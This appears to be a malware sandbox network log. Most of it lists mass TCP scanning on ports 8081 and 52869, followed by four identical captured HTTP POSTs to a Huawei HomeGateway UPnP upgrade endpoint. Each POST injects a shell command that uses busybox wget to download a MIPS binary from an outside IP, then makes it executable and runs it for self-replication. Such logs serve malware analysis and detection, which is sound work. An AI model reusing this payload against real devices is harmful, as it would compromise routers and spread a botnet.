Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 69.163.38.91:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 5.212.63.8:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 65.226.156.101:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 62.145.56.184:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 83.20.70.35:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 136.141.153.70:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 99.31.70.158:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 85.16.45.188:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 150.211.33.207:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 8.92.127.66:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 143.178.252.246:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 202.218.212.3:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 67.253.170.233:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 121.107.250.116:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 79.214.171.15:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 32.26.120.233:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 157.132.243.78:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 222.51.117.113:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 197.124.121.19:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 135.134.34.28:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 50.238.59.193:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 126.203.110.229:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 50.129.227.225:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 102.118.189.255:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 39.251.53.179:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 50.166.250.192:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 91.55.81.201:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 116.31.165.18:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 160.20.175.254:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 221.124.98.36:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 146.31.29.110:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 186.199.72.114:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 58.209.208.205:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 174.211.130.59:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 209.57.96.146:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 213.64.167.149:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 77.232.27.69:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 47.26.45.215:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 13.154.39.145:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 35.61.103.70:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 61.254.65.221:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 74.113.80.174:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 96.99.34.154:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 95.74.8.198:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 51.1.78.152:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 211.145.32.152:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 203.12.152.184:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 113.50.102.50:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 151.107.112.214:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 138.111.21.139:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 144.111.168.245:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 36.61.132.121:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 201.77.170.14:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 35.100.103.23:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 206.223.137.129:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 186.49.44.43:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 125.22.92.96:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 158.125.86.92:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 133.222.62.78:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 161.216.18.180:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 210.148.47.191:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 52.47.117.27:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 18.200.102.195:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 91.28.193.161:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 141.128.229.14:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 83.149.186.96:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 78.218.78.120:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 37.155.128.10:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 169.22.153.45:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 69.10.172.90:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 212.52.36.237:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 43.197.192.55:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 173.235.121.4:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 77.112.142.207:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 63.116.244.27:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 202.229.106.73:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 34.114.207.159:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 170.73.241.135:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 173.229.229.160:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 18.107.60.115:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 8.73.54.84:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 178.182.17.7:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 85.152.134.60:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 143.150.127.195:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 152.74.63.149:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 41.112.53.105:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 112.255.154.1:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 151.1.119.221:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 112.156.107.90:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 78.212.124.172:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 76.228.73.89:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 119.6.66.14:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 102.74.118.227:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 72.157.8.7:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 151.211.137.114:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 196.220.216.134:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 17.109.245.152:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 150.114.206.96:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 223.85.222.224:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 212.56.216.147:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 34.71.3.144:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 154.88.5.173:8081
Source: global traffic	TCP traffic: 192.168.2.23:33197 -> 4.112.216.21:8081
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 189.75.86.189:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 164.189.55.135:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 199.214.91.137:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 157.202.7.129:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 12.55.180.198:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 199.61.238.254:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 133.66.91.121:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 131.199.217.59:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 189.63.115.173:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 9.91.73.111:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 207.223.182.162:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 100.7.167.160:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 142.90.33.83:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 5.1.90.206:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 184.60.97.199:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 213.46.179.130:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 195.67.134.63:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 117.49.51.0:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 191.79.195.70:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 188.92.250.125:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 47.237.197.200:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 27.254.228.216:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 109.80.210.12:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 54.250.134.170:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 206.208.92.27:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 153.15.211.214:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 151.5.114.8:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 161.98.32.121:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 160.189.204.148:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 205.32.150.55:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 24.167.37.167:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 13.18.63.141:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 176.229.44.248:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 216.174.225.184:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 129.167.170.254:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 148.117.206.184:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 25.68.235.59:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 114.57.93.253:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 41.215.81.142:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 190.124.94.237:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 90.243.193.156:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 155.42.58.223:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 27.130.132.139:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 207.30.132.8:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 162.220.3.30:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 212.114.230.189:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 82.63.31.170:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 119.187.229.164:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 193.14.204.18:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 173.57.134.38:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 60.63.234.192:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 25.222.248.206:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 49.39.36.55:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 36.193.87.124:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 9.190.28.75:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 173.195.200.196:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 87.1.160.57:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 23.94.137.105:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 126.16.187.60:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 157.99.82.194:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 218.167.11.188:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 137.195.128.162:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 75.207.187.133:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 45.158.122.120:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 130.136.141.197:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 38.47.147.236:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 168.54.72.251:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 70.59.242.166:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 42.114.143.158:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 94.221.100.187:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 34.53.37.254:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 135.23.236.194:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 70.239.61.12:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 4.194.116.48:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 25.158.237.150:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 63.150.57.125:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 135.9.168.169:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 184.112.202.180:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 13.112.9.246:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 44.70.248.184:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 159.20.45.153:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 162.63.105.168:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 105.234.100.63:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 136.74.174.143:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 4.131.130.12:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 113.34.69.120:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 37.205.238.167:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 117.27.97.229:52869
Source: global traffic	TCP traffic: 192.168.2.23:33453 -> 106.250.20.58:52869

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
